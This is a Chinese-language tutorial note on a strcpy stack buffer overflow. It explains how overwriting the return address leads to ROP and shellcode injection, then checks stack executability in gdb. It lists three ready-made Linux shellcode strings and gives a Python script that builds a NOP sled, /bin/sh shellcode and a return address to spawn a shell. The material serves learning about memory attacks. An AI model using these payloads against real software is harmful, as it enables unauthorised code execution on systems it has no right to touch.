1. 程式人生 > 實用技巧 >記憶體攻擊實戰筆記 - strcpy 棧溢位攻擊

記憶體攻擊實戰筆記 - strcpy 棧溢位攻擊

1.程式碼靜態分析

如上圖所示,有一個buffer很明顯可以被拿來溢位;

2. 攻擊邏輯分析

上圖展示了一個正常的呼叫棧構成,在呼叫函式發起呼叫後,被調函式將形式引數、返回地址、前幀指標(記錄callee的棧頂)和本地變數依次壓進棧中,隨後執行函式功能。

攻擊者可以通過溢位本地變數的方式覆蓋掉返回地址,以此達到當被調函式返回時,返回到攻擊者指定記憶體地址的效果。如果該指定地點是一個已經存在的函式或共享庫中的函式,那麼被調函式結束時,將會直接開始執行該指定函式。這種攻擊我們稱為ROP攻擊(returnorientedprogrammingattack,面向返回程式設計攻擊)。如果返回地址是攻擊者控制的輸入(比如上圖中的buffer),而輸入中包含了可執行程式碼(比如shellcode),那麼這種攻擊我們稱為注入攻擊

(Shellcodeinjection)。

本筆記便討論如何進行返回攻擊,實行該攻擊需要以下條件:

1.攻擊者控制輸入

2.注入地址可執行

攻擊完成後,棧內環境應該如下圖所示:

3.攻擊過程記錄

通過程式碼分析可知,漏洞存在攻擊者可以控制的輸入,但是不知道記憶體是否可以修改,所以使用下列命令檢視:

gdb$ vmmap              # inside gdb debug tools
$ cat /proc/<pid>/maps  # in bash

輸出如下:

可以看到在stack(棧)部分的記憶體是可執行1的,因而放置shellcode後如果能夠控制程式返回跳轉到這裡,那麼shellcode就能夠被執行。

攻擊中常用的幾種shellcode:

open = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" + "/bin/sh"

bash = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

sudo
= "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

NUL = "\x90"

我們先隨便放點輸入,看看我們要攻擊的函式的棧結構:

可以看到,棧中我們的輸入從0xffffd130<stack+16>處開始,在0xffffd43c<stack+796>處遇到了返回地址。也就是說,我們需要通過溢位的方式將 <stack+16> 到 <stack+795>的全部記憶體佔滿並植入shellcode,然後在<stack+796>到<stack+800>處放置我們設定的返回地址,也就是buffer的起始地址。

寫一個如下的python指令碼來生成輸入:

import sys

# 佔滿記憶體空間,使用大量的 0x90 是因為 0x90 是一條機器指令,其作用是消耗1CPU週期但不做任何操作,這樣就算是我們的return address設定的有點歪也不會出什麼問題。 sys.stdout.write(
"\x90" * 16)
# 植入shellcode:開啟 /bin/sh, 這一條shellcode長度是45 Byte sys.stdout.write(
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
# 填滿剩下的部分,45 + 16 + 719 = 780 Bytes sys.stdout.write(
"\x90" * 719) # 在最後填上我們指定的返回地址。注意,上面的截圖中我們看到的buffer起始地址不一定是現在我們在用的地址,原因是隨著輸入字元數量的變化,argument部分(見第二部分的圖)的空間會變化,跟隨而來的,local variables的記憶體地址也會變化。
# 因而,此處的地址究竟是什麼,還需要多次重複上面的過程來尋找答案。 sys.stdout.write(
"\x40\xce\xff\xff")

指令碼寫完,run一下試試看:

(gdb) $run `python ./input.py`

成功:

如紅框所示,我們成功的在gdb中開了一個/bin/sh.

4.DLC

1.第三部分中的“可執行”的含義是:如果程式在應當執行指令的時候讀取到了stack上的內容,那麼它可以執行。比如本例中我們將retaddress改為了一個在stack上的地址,於是函式在執行到ret的時候並沒有返回到他的

caller,也就是<main + 76>,反而是跳轉到了我們指定的記憶體地址 0xffffce40並把這個地址中的內容當作了可供執行的指令(而其中確實存放了可以執行的位元組碼),所以此次攻擊成功了。如果跳轉後的地址沒有執行的許可權,那麼程式將丟擲segfault。

2.第三部分中的第二張圖的幾個彩色框框的含義:

紅色框:記憶體地址

黃色框:記憶體地址中存放的內容

青色框:如果記憶體地址中存放的內容是指標(換句話說,還是個地址),那麼在青色框中顯示對此地址的解引用(deref)結果。

因此,記憶體地址 0cffffd120和 0xffffd124不是buffer的起始地址和結束地址。